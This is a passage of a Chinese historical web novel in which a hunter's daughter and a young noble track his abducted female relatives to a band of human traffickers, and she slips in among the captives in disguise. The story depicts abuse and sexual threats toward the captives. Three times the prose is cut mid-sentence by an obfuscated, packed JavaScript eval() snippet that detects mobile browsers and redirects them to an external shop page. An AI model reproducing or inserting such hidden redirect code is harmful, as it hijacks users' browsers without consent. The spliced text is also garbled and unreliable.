他不能无时无刻跟妻子在一起,黑熊沉脸,浑身写着“不高兴”。 而林秀平很惊讶,又有些惊喜,“他当你是姑娘啊。” “我本来就是姑娘啊。” 哪怕人家说闲话,厉长瑛也从来没怀疑过。 像她这样力壮如牛的姑娘,有力壮如牛的好处,不需要旁人懂。 林秀平也不是怀疑女儿,只是看他们父女俩根本不会想这其中区别,她有一种独醒之人的寂寞。 不过她再惦记着女儿的婚姻大事,厉长瑛也不是廉价的是个男人都可以,她好着呢。 林秀平矜持,可不会上赶着去倒贴。 …… 一家人重新分了工,魏堇如果再需要出恭,或者是一些贴身的照顾,便由厉蒙接管,其他时候照常。 病来如山倒,病去如抽丝,魏堇高烧退了,低烧却始终不退,不至于再昏睡,整个人却昏昏沉沉,神情恹恹的。 即便如此,他依旧耳聪目明,几乎第一时间察觉到变化,再看厉家父女俩,便暗暗添了个“粗中有细”的评价。 厉家一天只吃两餐,辰中,林秀平熬了比之前更稀的粟米粥,四人分食。 厉长瑛确定魏堇能自己端住碗,便没有喂他。 魏堇许久都没有饱腹过,又在发烧,脾胃弱,胃口不佳,四肢无力,微微靠在草堆上,端着碗喝得极为缓慢。 他面色不同于初见的苍白,因为发烧,脸上泛着不自然的红润,显得气色好了些,眼中仍有郁色,容貌却更夺人眼。 旁边,厉家父女俩心无旁骛,一心喝粥,动作粗枝大叶。 对比鲜明。 一个吃得安静优雅,两个吃得多。 林秀平嫁给厉蒙,还是打心眼儿里对读书人有偏爱,瞧着魏堇这秀致的模样,这浑然天成的仪态,越看越喜欢,想起他的遭遇,也越发心软,对他格外的轻声细语,“吃不下也要吃一些,还要喝药呢。” 魏堇尊重长辈,礼貌回应:“是。”然后喝了一口粥。 林秀平笑容更加柔和。 厉蒙看不顺眼,阴阳怪气,“又不是三岁孩童,多喝一口粥都要夸赞几句。” 厉长瑛也不舒服,“娘,不要厚此薄彼。” 父女俩皆酸得很。 魏堇不由地放下碗,看向厉长瑛,分辨她是否因他不愉快。 林秀平放柔了声音,一人一句哄道—— “夫君,你洗锅打水辛苦了,若是没有你,我定要忙乱,你理应多吃些。” “阿瑛,娘喜欢你结实有力,千万别瘦了。” 两句话,拿捏父女俩。 厉蒙和厉长瑛全都翘起嘴角,轻易就被哄好了。 魏堇:“……” 林秀平对上魏堇的视线,浅浅一笑。 以小博大,以弱压强,不费吹灰之力。谁才是厉家真正的的话事人,不言而喻。 魏堇态度更加尊重。 父女俩中场暂停,等俩人吃完再收尾。 厉长瑛忽然问:“堇小郎,你不问我魏老大人吗?” 魏堇黑睫轻垂,几息后才疲沓张口:“我祖父他……在何处安身?” “我给魏老大人选了个风水宝地……” 厉长瑛没有多提雨中的泥泞,白事的简陋,也没有提下葬仓促,坟墓的粗糙,着重说他们极尽所能采办的东西,说起彭家兄弟的仗义之举和她的感动。 魏老大人的身后事简单却没有敷衍,没有高门大户的风光大葬,却有此间最朴素的体面。 魏堇每一个字都听得极为认真,在厉长瑛生动地描述那座山的特别之处时,盯着她的眼眸渐渐失神。 他其实心生怯懦了,但凡想到祖父草草下葬,凄凉收场,便会心如刀绞,便会自厌。 山能如何特别呢? 不过是那些景物,不过是孤坟一座。 可他随着厉长瑛毫无矫饰的描述去畅想四季流转时,竟然是鲜亮的,真正特别的,是用心若镜吧。 以魏家如今的境遇,再没有比这更好的归处了…… 诸多情绪,无以表达,只能化作一声谢。 厉长瑛不在乎,“随心随性,既做了义无反顾的事,又结交了性情的朋友,得了心安,稳赚不亏啊。” 厉蒙突地插了一句:“你亏了三只猎物,两升粟米。” 厉长瑛伟岸的身姿一下子矮小了,“爹你咋翻旧账呢~” 厉蒙却不搭理她了。 林秀平见惯了两人时不时踩对方一下,微微一笑,转头看魏堇此时精神尚可,收敛起笑,小心地问起魏家其他人:“阿瑛跟我们提过你家中,为何只有你一个人了?” 厉长瑛和厉蒙也都抬眼看魏堇。 那四个人说得不清不楚,他们胡乱猜测,越想越坏,越没有边际。 魏堇忆起那日的光景。 他心灰意懒,身体却自行启动某种机制似的,催动着他仔细查看起现场。 痕迹混乱,没有血迹,足迹去向四面八方,无法分辨…… 他在树林外围的一棵树杈上找到一截魏璇袖子上的布料,周遭的树枝有折断的痕迹,一片干草丛向外趴倒,痕迹没有延伸到林中去。 呼喊也没有回应,证实他们确实到这儿了,又因为某种原因被迫离开。 后来,他在西北向的路上发现了一根踩得灰扑扑的红绳。 红绳的纹路有祈福的寓意,原本穿在金珠上,金珠被“抢”走后,魏璇收起来了,出现在那个方向极有可能是她刻意留下的提示。 他骑上驴打算循着这条路去追时,翁植带着他雇佣的四个“帮手”赶过来,告诉了他两件事—— 县衙担心越来越多的难民聚集在城外会出事,便派人驱赶难民,那两日时有激烈的冲突发生,城外极乱。 泼皮也没回城,很有可能还跟魏家人在一起。 魏堇讲述时语气平平,理智地仿佛站在了旁观者的角度,“他们极有可能一出城就被盯上了,那时我的打算是,他们或许未走远,我或许可以追上……” 可惜人心难测,他被人抢了,还打伤扔在路边。 厉家三口人面面相觑。 厉长瑛告诉他,他们听到的事情,“我们碰到那四个人,从他们交谈中听到,流民中有人趁火打劫,骗拐汉人卖去匈奴……” 魏堇神色微沉,坏的可能有很多种,若是真被截去匈奴,比流放还不如。 心理上的波动加重了身体上的不适,魏堇不得不用手臂支撑身体,气喘道:“自打乱起,民间秩序也溃乱,匈奴便肆无忌惮掳掠晋朝百姓,我祖父也曾为此忧心,只是朝中并不重视。” 乱象可见,而魏家每每言语透露出来的,都让厉长瑛觉得,朝廷已腐烂不堪,王朝已至末路。 旁人皆不能指望,唯一指望的只有他们自己。 厉长瑛问魏堇:“三天了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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厉长瑛便拿出魏堇高热糊涂时给的金珠,问:“这东西贵重,你要收回去吗?” 魏堇没有一丝不舍和犹豫,“既已送出,便不回收。” “好!” 厉长瑛合上掌心,气冲霄汉,“我收了你的东西,就陪你全力以赴一次。” 魏堇一怔。 他不否认自己有此意,也猜到厉长瑛的脾性,但她真的说出来,胸中仍旧产生了激荡。 “不遗余力,不留遗憾,如何?”厉长瑛手指朝上伸出手掌,作击掌的姿势,“就以我们出关之前时限,如果最终没找到,我们尽力了,你也是。” “要约定吗?” 魏堇注视着面前这只手掌。 上面有很多茧,纹丝不动地举着,一如面前这个姑娘。 断过的手指微动。 身体比意识更先诚实地表露出内心。 魏堇最终还是缓缓地抬起手掌,击在厉长瑛的手掌上。 约定了。 他们即刻便决定动身,根据现有的线索快驴加鞭地追上去。 …… 日以继夜地赶路,魏堇无法好好休养,病情反复,始终不能痊愈,精神不济。 厉长瑛冲劲十足地找路赶路,然后,不止一次地迷路。 赶路的第三日,四人两驴又一次出现在了本不该路过的指路碑前。 魏堇长长地叹息,深深地无奈。 大路小路、荒山野路错综复杂,认不得路很正常。 好处是,他的病霍然好转了,能起来指路了。 14.第 14 章 确切的指向只有一根红绳,其他都是信息拼凑出来的推测。 魏家人的相貌气质,哪怕是经过牢狱和流放,也绝对鹤立鸡群,是以,如果城外有骗拐的团伙,他们必定会成为目标。 魏堇也只能带着厉长瑛一家按照这个线索去追寻,别无他法。 而任何一个买卖,薄利便要多销,乱世里拐卖人口亦是一桩贱卖贱卖。 这时候,人已经不是人,人是最不值钱的,甚者不如牲畜,死人就更不值钱了。 河东诸郡秩序尚存,掳掠的风险较大,河北一带因为起义,流民极多,很容易浑水摸鱼,罪恶滋生。那些人不可能耗费粮食喂养难民,是以为了补充“货物”的损失,就会带大量的人出行。 魏郡到匈奴,要经过几个郡,如果魏家人真的被拐去匈奴,出关前是仅有的机会,出关之后,几乎就没有希望了,越早找到人越安全,越晚变数就越大。 厉长瑛他们也知道时间的紧迫性,所以才不辞辛苦地赶路,只是难免遇到坎坷,迷路只是其中一个。 事态紧急,他们还出状况,林秀平怕魏堇有不满,重新走上正确的路后,特地在停下修整时向他表示歉疚。 魏堇反过来宽慰道:“我一人独行,必定是举步维艰,意外本就不可避免,若我因此怨怪你们,便是忘恩负义之徒。” “你能理解便好。”林秀平笑容扩大,耐心地解释,“阿瑛和她爹其实在山里很会认路,只是几乎没远行过,才经验不足,先前我们赶路时,也经常走岔路,不过都没纠正,将错就错了。” 魏堇明白她的用意,感恩道:“我魏家之事本也与你们不相干,却得你们仗义出手,辛苦奔波,实在无以为报。” 厉长瑛左腋下夹着一捆柴,右手拎着砍柴刀回来,听见魏堇这话,直言直语:“金珠就在我身上,你还想怎么报?” 魏堇语塞,垂眸不与她对视。 厉长瑛手脚麻利地搭柴点火,向学道:“堇小郎,你是怎么辨认路的?能不能教教我?” 魏堇抬眼,反问:“你们是如何走的?” “认准一个方向,走便是了,总不会偏离太多,实在偏了,问到路,再掰回去继续走啊。” 厉蒙一开始就是这样,那时是一路往东北方走,等到厉长瑛问清楚路,又变成一路往西南。反正他们什么地名都不知道,走呗,鼻子下长着嘴,遇到人就问呗,错了就改呗。 魏堇听完,“……” 真开朗啊。 他昏沉的时间居多,完全信任厉家人的生存能力,没想到他们是走得这么开朗。 “那你们是如何确认官路的?” 厉长瑛爽快道:“好的就是官路,不好的就是杂路。” 也是明明白白。 “朝廷这些年在非军事要道的官路维修上多有懈怠,官路上的长亭短亭多有荒废,不能以好坏一概而论。”魏堇顿了顿,怕她沮丧,补充道,“但你如此分辨,亦是合理。” 厉长瑛听到后半句,就足够欢喜了,“还有吗?” 满眼的求知若渴。 魏堇道:“我曾看过各地舆图,可以教给你。” “看过?” 魏堇平平常常地一颔首。 厉长瑛表情嫉妒无语得逐渐扭曲,保持蹲姿默默挪了挪,背朝他。 说得轻松,好像教给她,她就记得住似的。 魏堇看着她的背影,不明所以,稍想了想,若有所悟,亡羊补牢道:“若是有纸笔,亦或是其他方法,我亦可以画给你。” 厉长瑛霎时豁亮,举起一根烧黑了的树枝,“画在木头上,我用刀刻出来!” 魏堇同意。 舆图极其珍贵,一直由官府管控着,厉长瑛能得一份,照料魏堇更是尽心尽力。 于是,接下来的行进中,魏堇除了路途的颠簸和身体的疲惫不可避免,其他方面厉长瑛但凡能想到都面面俱到,力求给他最好的服务,帮他尽早养好身体,贡献力量。 路上,他们赶上前方的难民或者行人,厉长瑛也主动上前询问,根本不需要魏堇费心神。 魏堇沉默地接受了。 若有少年人的自尊心作祟,他应该挫败,应该无法心安理得,应该急于证明什么,迫切地走下驴车和厉蒙一起步行,让厉长瑛这个姑娘坐在板车上。 可他大抵是病了,少年老成,棱角平圆。 魏堇更加守礼、端正。 林秀平私下对厉蒙夸赞他:“胸怀广阔,又彬彬有礼,我看阿瑛与他也合得来。” 厉蒙瞥一眼魏堇,嗤道:“哪里胸怀广阔?” “他先前被人打劫,咱们走错路,他有情绪也是人之常情,可未曾迁怒,怎么不算胸怀宽广。” 厉蒙反驳:“都不是故意的,他要是迁怒,那才是恩将仇报。” 林秀平不理解,“品行好又不是假的,你怎么这样看不惯。” “你不懂男人。” 林秀平柔柔地剜了他一眼,嗔道:“我懂你便够了,懂旁的男人做什么。” 厉蒙一下子酥了,大手甜甜蜜蜜地攥着媳妇儿的手摩挲。 不远处,厉长瑛习以为常,却还得替他们在外人面前遮掩。为了吸引魏堇的注意力,厉长瑛大声吆喝:“嘿,那边儿那对儿夫妻,歇够了就赶紧赶路!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328070|138767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >魏堇目不斜视。 厉蒙深呼吸,“能不能扔了?” 林秀平轻轻挣开他的手,“不能。” 厉家人总是这样的状态。 魏堇则安静得过分。 相比较之下,厉家人的乐观似乎有些不合时宜。 同行赶路的第八日,他们追着路上询问路人的线索,路过一个村子。 厉长瑛进去打听,其他三人等在村外的高地上。 夫妻俩一派正常,魏堇一直注意着厉长瑛的动向。 厉蒙突然提起厉长瑛小时候的事儿,“秀平,你还记得吗?阿瑛很小的时候,有一次,我进山打猎,放跑了一只快要打到的狍子,只带回去两只兔子……” 林秀平点头,回忆道:“你那时很沮丧,回家闷闷不乐,我还以为你是听到村里人说你‘没儿子,断子绝孙’的闲话了。” 魏堇视线没转开,注意力却稍稍偏移到二人的对话中。 “到手的狍子没了,我咋能不难受,你知道了,不也可惜吗,倒是阿瑛……”厉蒙哈哈大笑起来,“她高兴地抱着我的腿,说爹你好厉害,竟然打到了两只兔子!” 林秀平弯起嘴角。 下方村子里,厉长瑛敲了一户人家的门,被拒之门外,也没气馁,又敲了一次,才转身去下一家。 林秀平也说起一件事儿,“有一次你受伤流了许多血,我六神无主,阿瑛却跑过来要给你包扎,你还怕吓到她,偏她胆大的很,说她手生,多练几次就熟了。” 厉蒙笑骂:“我要是不受伤,都耽误她练手。” “倒是我去学包扎熬药了……” 厉蒙余光瞥向魏堇,随后与妻子交换眼神。 林秀平微微摇头,两人止了话。 上次他们夫妻谈过魏堇之后,厉蒙又说起他对魏堇的看法,他们便想开解魏堇一二,不好交浅言深,只能拐弯抹角,不知道他如何想。 下方村子里,厉长瑛终于敲开了一户门,交谈一番后,风急火燎地往回跑。 魏堇听了夫妻俩方才的话,再看此时厉长瑛跑动的样子,几乎能想象到她小时候的模样——一丁点儿高,可能黑乎乎瘦巴巴的,像个猴子,但是眼睛亮亮的,生机勃勃,活蹦乱跳的。 不像他…… “我打听到了!” 厉长瑛还未跑到三人跟前,便兴奋道:“村民说,一天半前,有一行奇怪的人往山西麓去了,村里人看着不好惹,怕招祸上身,才闭门闭户。” 魏堇立即便明确道:“那是潞县方向。” “村民也这么说。”厉长瑛点头,风风火火地迈开步子,“那还等什么,走!” 15.第 15 章 上党郡,潞县东南,山脚下—— 一行足有上百人的难民队伍,步履艰难地前行。 他们和普通的难民,却有着明显的区别,路过的人多看两眼,便能察觉到异样。 首尾两端,各有几辆驴车,上头有麻袋,坐着皮肉尚算饱满的壮汉,个别车上,还有女人靠在壮汉怀里,极尽挑逗,嬉笑连连。 驴车内围一圈儿,皆是青壮年龄的男子,皮包骨的干枯身体下是麻木不仁的灵魂,眼神中闪现的有对现实的逃避,有压抑的随时会爆发的癫狂,也有野兽一般的残忍。 他们中有一些人,离驴车很近,听到看到上方人调情时,眼里是向往,是贪婪,是淫|欲。 野马无疆,无秩序无约束,人的恶念便会无限放大传播…… 他们不敢将恶意朝向驴车上,便会朝向更弱的人群,神色中满是不同寻常地阴狠和打量。 队伍的最中间,都是女人孩童。 并不是保护,而是防止他们逃跑。 他们的眼神都是恐惧、无望、麻痹…… 几乎没有老弱,层层泾渭分明。 队尾的驴车上,一个抱着女人亲热的男人忽然不耐烦的说一声,“怎么走得这么慢?耽误时间。” 外围的男性难民中便会有人争先恐后地站出来,当起狗腿子和打手,推搡身边懦弱的同类,抽打中间的女人,厉声呵斥驱赶他们快一些。 就像是迁徙的兽群,强者生存、欺压、拥有权威,弱者只能任人宰割。 而曾经弱小懦弱的人,稍微得到一丝权力,低劣的欲望便疯长,肆无忌惮地滥用着他们虚假的权力,施加在比他们更弱的人身上,以此来发泄他们无能时的憋屈。 女人们怕挨打,都极力往中间躲藏。 中段,魏家的三个女人两个小孩被排挤到边缘,大夫人梁静娴紧紧护在最外围,身上挨了几下抽打,也不躲开,防止有人趁乱欺辱大儿媳楚茹和女儿魏璇,楚茹和魏璇又紧紧地护着魏雯和魏霆两个孩子。 两个孩子害怕地发抖、流泪,却不敢发出声音。 动手的人看到他们的样子,没有丝毫怜悯,反倒更加兴奋,神情中泛起凌虐的快感,甚至对着满脸脏污依旧掩不住风韵犹存的大夫人伸出了肮脏的手。 一只指甲缝里都是脏污的黑手突然插进来,使劲儿抓住难民意图猥亵的手,甩开。 泼皮身体也挤进去。 他常年混迹三教九流,光脚不怕穿鞋的,带着一股随时拼命的狠意挡住魏家的人。 横的怕不要命的。 曾经懦弱的普通难民自然心生畏怯,但紧接着涌上来的便是极致的恼羞成怒。 周遭的难民们推搡拥挤,冲突加剧,下手时越发没有收敛,仿佛成了兽场里靠撕咬才能存活的野兽。 他们在供人取乐,可能不自知,也可能早已抛却人的尊严。 前后驴车上的壮汉们看够了戏,发现行进几乎停了,又出声骂道:“你们这些牲畜,再敢耽误行程,就打断你们的腿扔进山里!” 仿佛一声口哨吹响,方才还被兽性占据大脑的难民们突然就安静下来,唯有受到欺凌、数量更多的弱者们惊恐啜泣。 驴车上的壮汉们看着这一幕,又是一阵残忍肆意的取笑。 死寂重新笼罩人群,怨恨和疯狂却无法拔除,暗潮汹涌。 黄昏降临,队伍停下修整。 没有人敢逃跑。 试图逃跑的人,被抓到便是一顿毒打,扔进山里自生自灭,女人还要更惨一些,忍受着非人的侮辱和折磨。 真正的人贩子只有这十几个壮汉,更多是从难民转变成加害者,其他人也随着恐惧的滋生,为了不挨打,逐渐成了帮凶。 周围无数的眼睛在盯着身边人的举动,稍有异常便会向壮汉们举报。 他们自个儿不敢逃,也不希望有人有一丝逃出生天的可能。而逃不掉下场凄惨的人,又会让他们庆幸自个儿的懦弱让他们得以自保。 人已经不是纯然的人,他们的灵魂已经沦丧在道德的深渊。 而站在统治位置的壮汉们围坐在一起,指挥着讨好他们的难民架火烧水煮粥,随意地挑了几个人赏了几块儿干粮,那几个人便狗一样舔上去。 壮汉们看得兴致盎然,时不时便再扔一块干粮到地上,逗“狗”玩儿。 干粮都沾了土,他们也不在意,扑上去疯抢。 而其他饥饿的难民,不被允许走远挖野菜,就地抢薅着脚下稀薄的野草果腹时,甚至羡慕做“狗”能得到一口吃的。 没有吃的,魏家人也不敢有一刻分开,三个女人先前只匆匆在身边薅了一把不知名的野草,塞到两个孩子嘴里。 野草又苦又涩,两个孩子吃得泪流满面,生生往下咽。 泼皮也在抢干粮的行列中,他卑躬屈膝地巴结壮汉们,得到了和其他人厮打争抢干粮,供人取乐的机会。 他之前不是难民,没有难民们忍饥挨饿的久,身体要健康有力一些,反应也极敏捷,总是能抢在其他难民们之前扑到干粮。 可难民中有白日跟他对峙过的人,也有为了吃食不要命的,疯了似的对他拳打脚踢,抢夺他手中的干粮。 泼皮的手指都被抠的出了血,也不松开。 其他人踢打得更狠更不留情。 这里的动静儿也惊动了周遭的难民,包括魏家人。 泼皮护着魏家的女人,其他人当然也都看得见,纷纷辱骂他—— “下贱!” “赖头狗想女人想疯了!” “死去吧!” 泼皮抱着头颈,身体蜷缩成虾子,依旧紧攥着抓到的干粮。 人贩子的头目又扔了一块儿干粮去另一侧,几个人从泼皮这儿抢不到,便又去争抢新的食儿。 这一切,对魏家人来说,比流放时还要可怕。 大夫人和楚茹一人搂着一个孩子,紧紧地捂着他们的耳朵,不想让他们听到看到更多,受到更多的伤害。 魏璇不忍心看下去,眼泪在眼里打转。 就这个功夫,周遭的野菜便被难民们一抢而空,有女人故意推撞魏家人。 魏家三个女人咬着牙忍下,不敢反抗。 他们和一般难民的气质迥异,打从一出城,就被盯上了。 美貌没有强大的保护,只会成为祸害,即便她们用土抹脏了脸,人贩子、难民中的男人们也都用最恶心最赤|裸的眼神看着她们,想要侵犯她们。 魏家女人烈性,已经做好了受辱便一了百了的准备,若是拿孩子威胁她们,她们也做好了带着孩子一起从这个残酷的世上离开的准备。 泼皮保住了她们。 他说她们这样识文断字的漂亮女人,肯定能卖个好价钱,死了就一分钱也赚不到了。 他跪在地上低声下气地求那些人贩子,任打任骂地讨好这些壮汉,每一天都挨打,暂时保住了魏家的女人们没有真正地受辱。 眼神、言语、动作的骚扰避免不了,而其他女人随时随地都可能被拉走,也是从那时候,魏家人开始受到同为弱者的难民们的排斥和明里暗里的欺凌。 每一天,三个女人的神经都无比的紧绷,若非为了孩子,咬着最后一股劲儿,根本撑不下去。 现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341238|138767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随着时间的流逝,她们从一开始的齿冷发寒越来越靠近崩溃的边缘。 泼皮疼得动弹不了,蜷缩在原地许久,才试探地动了动。 没抢到干粮的难民又将饿狼一样的眼神落在了他身上,也有可能是纯粹的记恨,要发泄,便又冲向了他。 魏璇向前塌了一步,大夫人和楚茹死死地拽着她,内心的自我谴责让她们根本不敢去看泼皮。 泼皮又被打趴在地上,手仍然攥着拳,掌心朝下压到身体下方,不让人抢走那块儿干粮。 拳脚越来越重,人贩子头目忽然抄起棍子,打在其中一个人身上,又接连落在其他人身上。 他极其暴虐,“我让你们咬了吗?畜生真是不听话。” 那些人霎时就没了气焰,身体畏惧得疯狂抖动。 一层一层,他们对比他们更弱的进行凌虐,更凶恶的轻易抽掉他们的骨头。 头目走到泼皮面前,恶劣地踩住他握着干粮的那只拳头,碾了碾,引诱道:“不就是个女人吗,想不想跟我干?这些女人,想要哪个要哪个,今儿换一个明儿换一个,你要是一晚上想要几个,也不是不行……” 壮汉们一阵□□,眼神赤|裸地扫过魏家三个女人。 她们浑身颤抖,无力反抗。 泼皮用手肘撑着地,微微抬起上身,咧开嘴,牙沾满血,伏在地上低贱到骨子里,讨好,“小的贱骨头,乐意跟您干,就是她们不懂事,万一干出啥晦气的事儿,影响您赚钱,罪过就大了。” 头目松开了脚,讥笑,“你是挺贱。” 他走了。 泼皮低头吐出一口血沫,“噗。” 此时大夫人和楚茹松了手,魏璇泪眼婆娑地过去扶他。 泼皮下意识避开她的手,而后嬉皮笑脸道:“我这下九流,哪敢脏了小姐的手。” 魏璇固执地伸手。 泼皮流里流气地吹了个带血的口哨,刚一出声,便咳了起来。 大夫人和楚茹难堪地抬不起头。 他这种人,若是在魏家盛时,莫说入不了她们的眼,连脚底的尘埃都不如。 泼皮自知贱命一条,忍着疼打个滚滚远,避开了魏璇的手,踉跄着爬起来,才张开手指递向她。 干粮碎了又被攥成一团,沾满脏污,似乎还有血混在其中。 魏璇一动不动。 泼皮低头瞅了一眼,嬉笑道:“你们金贵的很,吃不惯脏的吧,我不嫌脏,撕了皮,皮我吃。” 就算是不脏,魏璇又怎么伸得出手。 泼皮嘲讽地激她:“呦~这是看不惯我这下贱人的脏东西啊……” 话音还未落,魏璇一把抓过来,全都硬塞进嘴里,难受得阵阵干呕,也死死捂着嘴,和着泪往下咽。 她吃了,甭管吃的多恶心,也是吃了。 泼皮面色死白,又开始讨人嫌,“指着你们家那个肩不能扛手不能挑的小公子来解救你们,还不如厉长瑛……” 他越说声音越低。 再拖时间,魏家那个小子也不一定能来救她们,厉长瑛更不可能在。 又是一个无望的夜晚过去,清晨来临,又重复着昨日的折磨。 度日如年。 泼皮眼皮沉重,每一个动作都伴随着疼痛,喉咙里似乎也有腥甜。 前方,隔了三四个人的位置,一个人忽然回头,露出一张乌漆嘛黑、看不清原样的脸,转眼又转回去。 泼皮猛地挑开眼皮,不可置信地使劲儿揉眼睛,疯狂眨了眨眼,然后紧紧盯着那个脏兮兮的“男人”潦草的后脑勺。 怎、怎么那么像厉长瑛?! 16.第 16 章 有了明确的目标,一天半的时间距离,和相对应的路程距离,就都不是问题。 且他们赶着路,魏堇还极限十二时辰,帮四肢发达远胜头脑的厉长瑛补了个兵法课。 虽说技多不压身,多学没坏处,但厉长瑛确实身心俱疲。 他们远远瞧见这“难民”队伍时,天色还早,未免打草惊蛇,便远远坠在后头跟着。 夜深了,厉长瑛做好装扮,才悄悄摸进去。 她身材不够瘦弱,装女人太显眼,不好融入,扮作男人正合适。 厉长瑛穿上破衣在地上滚了一圈儿,用土涂满脸和脖子、手,耳朵周围也没落下,然后又烧木头弄出黑灰,抹在两腮和眼下,打出来的阴影,加上日夜兼程,眼里熬出来的红血丝,极其像个病入膏肓的男人。 她画完的时候,厉家夫妻和魏堇都愣了好一会儿。 厉长瑛坐在一群臭哄哄的难民们旁边,还眯了一觉,两个多时辰后天亮,直接被人踢醒的。 她太松弛了,比难民还难民。 没人怀疑这么心大的人。 【魏堇:先知虚实,察而后动。】 夜里无法查看,厉长瑛睁开眼睛就开始悄悄搜寻熟悉的身影。 她还没看见魏家人,便先和鼻更青脸更肿的泼皮对上眼了,一眼,厉长瑛就意识到他认出来了,赶紧转回去。 这种丑样子,泼皮还能看一眼就认出来,她在他心中的形象也是颇为深刻了。 而泼皮实际上根本不敢确认就是厉长瑛,他太怕失望了,又忍不住凑近去找答案。 泼皮挤过去。 厉长瑛余光关注着他的动静,见状微微侧头,凶巴巴地横他一眼,再次拉开距离。 意思很明显,让他滚蛋,别暴露她。 泼皮狠狠掐了一把大腿,龇牙咧嘴。 疼是真的。 厉长瑛也是真的。 他眼没花。 那种眼神,他只在厉长瑛身上见过,难民里不可能有。 泼皮不在乎她的态度,两手一起狠狠掐着大腿,抑制着激动的情绪和上咧的嘴角,眼眶发红,深深地埋下头。 呜~ 他一个流血不流泪的泼皮,差点儿就要哭出来了。 梦一样,泼皮又怕真的是梦,梦醒了什么都没有,便时不时抬眼目光跟随着她,看见她就会安心一些,看不见就忍不住发慌。 厉长瑛可顾不上安抚一个男人的“柔弱”。 她学着其他难民,塌肩塌背、没气没力地走着,继续搜寻魏家人的身影。 魏家人走在难民里,披着麻袋破衣,气质也很明显。 找到了人,且他们还活着,就是万幸。 不过厉长瑛盯着三大两小看了好几眼,又在他们周围找了一圈儿,无果,才压下疑惑,仔细侦察核实“敌力”。 驴车统共七辆,壮汉十六人,手上看起来没有武器,但身材和凶煞狠厉的眼神,绝对是狠角色。 难民们也是帮凶,数量不可计。 敌人显而易见强于她许多,不可能毫发无伤地直接抢走人。 【所谓“兵不厌诈”,《孙子兵法》有云:利而诱之,乱而取之,实而备之,强而避之,怒而挠之,卑而骄之,佚而劳之,亲而离之。】 【敌强我弱,分化联盟,逐个击破。】 厉长瑛懂,要挖墙脚。 她观察着周遭的难民们,寻找着可以离间的缝隙。 超过两个以上的人,就会出现亲疏,更何况这样多的人聚在一起,必然会有人拉帮结派。 厉长瑛盯上了一伙七八个男人。 他们赶路间随意对弱者推搡叱骂,面对更强的人,却是殷勤讨好,向往渴望,眼神里全都是不安分。 厉长瑛自然地朝这他们靠近,在他们身后停下。 恰巧,他们都是揍过泼皮的。 泼皮注意到她的动向,不知道她想干啥,眼神露出些微紧张。 厉长瑛跟在他们身后走了几步,瞅准个时机,简单粗暴地伸出脚,踩在了前方男人的草鞋上。 草鞋不甚结实,直接断裂,男人被扯了后退,向前面人的背上撞去。 下三白眼的男人微微踉跄,边回头边骂了一句:“没长眼啊!” 光了一只脚的窄脸男人赔着小心,怒冲冲地转头,对着身后的厉长瑛骂:“没长眼啊!” 他还对着厉长瑛挥起了拳头。 厉长瑛动作敏捷,抱头后退,装男人粗着声儿害怕地喊:“别打我!” 他们的位置,偏后,后方驴车上一个壮汉看见他们这里的异状,当即喝道:“干什么呢!老实点儿!” 其他人难民也注意到了他们这里的动静,别的难民麻木的眼睛扫过便挪走,唯有魏家人,瞧着厉长瑛,倏地瞪大了眼睛。 不敢置信。 而几个方才还气焰嚣张的跋扈男人马上就对壮汉卑躬屈膝地讨饶,谄媚至极。 等他们抚顺了壮汉的气儿,再次面对厉长瑛,又露出凶相。 厉长瑛抱着头,作出一副怯懦样子,他们对她打骂也不敢大幅度躲似的,还像他们刚才对别人那样去讨好他们,“大哥,求你了,别生气,我、我这就给你找一双鞋去,行吗?” 窄脸男人:“还不快去!” 厉长瑛拿了鸡毛当令箭,眼睛瞥向其他难民。 所有人都避着她,还有人眼神藏不住的厌恶。 厉长瑛不好“欺负”别人,视线假装搜寻了一圈儿,径直走到泼皮跟前,“把你鞋脱下来!” 泼皮:“……” 这就过分了,咋能欺熟呢? 厉长瑛作出蠢笨的凶相,举起拳头威胁,做足了小人得势的姿态,“你脱不脱!” 脱,咋能不脱。 泼皮顺从,还不敢耽误赶路,边脱还边随着人流向前蹦跳。 他脱下来一只草鞋递给厉长瑛。 厉长瑛面上闪过毫不掩饰的嫌弃。 泼皮怒了一下。 他原先穿得布鞋早就被抢走了,现在穿别人不要的破草鞋,她还抢,还好意思嫌弃! 厉长瑛无视他的脾气,捏着草鞋走回去,贼恭敬地递给窄脸男人。 不过她也稍微检讨了一下,粗暴的手段千千万,换一个泼皮就不用光脚了。 窄脸男人却没接那破草鞋,反倒看向厉长瑛的脚上,命令:“把你脚上的草鞋脱下来!” “……” 必须得深刻检讨一下,怎么能用那么粗暴的手段? 做戏做全套,厉长瑛也穿得草鞋,麻溜地脱下来,递过去。 窄脸男人示意她放地上。 厉长瑛做足了姿态,都不扔,快走几个小碎步,弯腰放在他前方。 窄脸男人匆忙伸脚,边走边硬塞,撑得草鞋紧绷,但也塞了进去。 还指着他穿不上能拿回草鞋…… 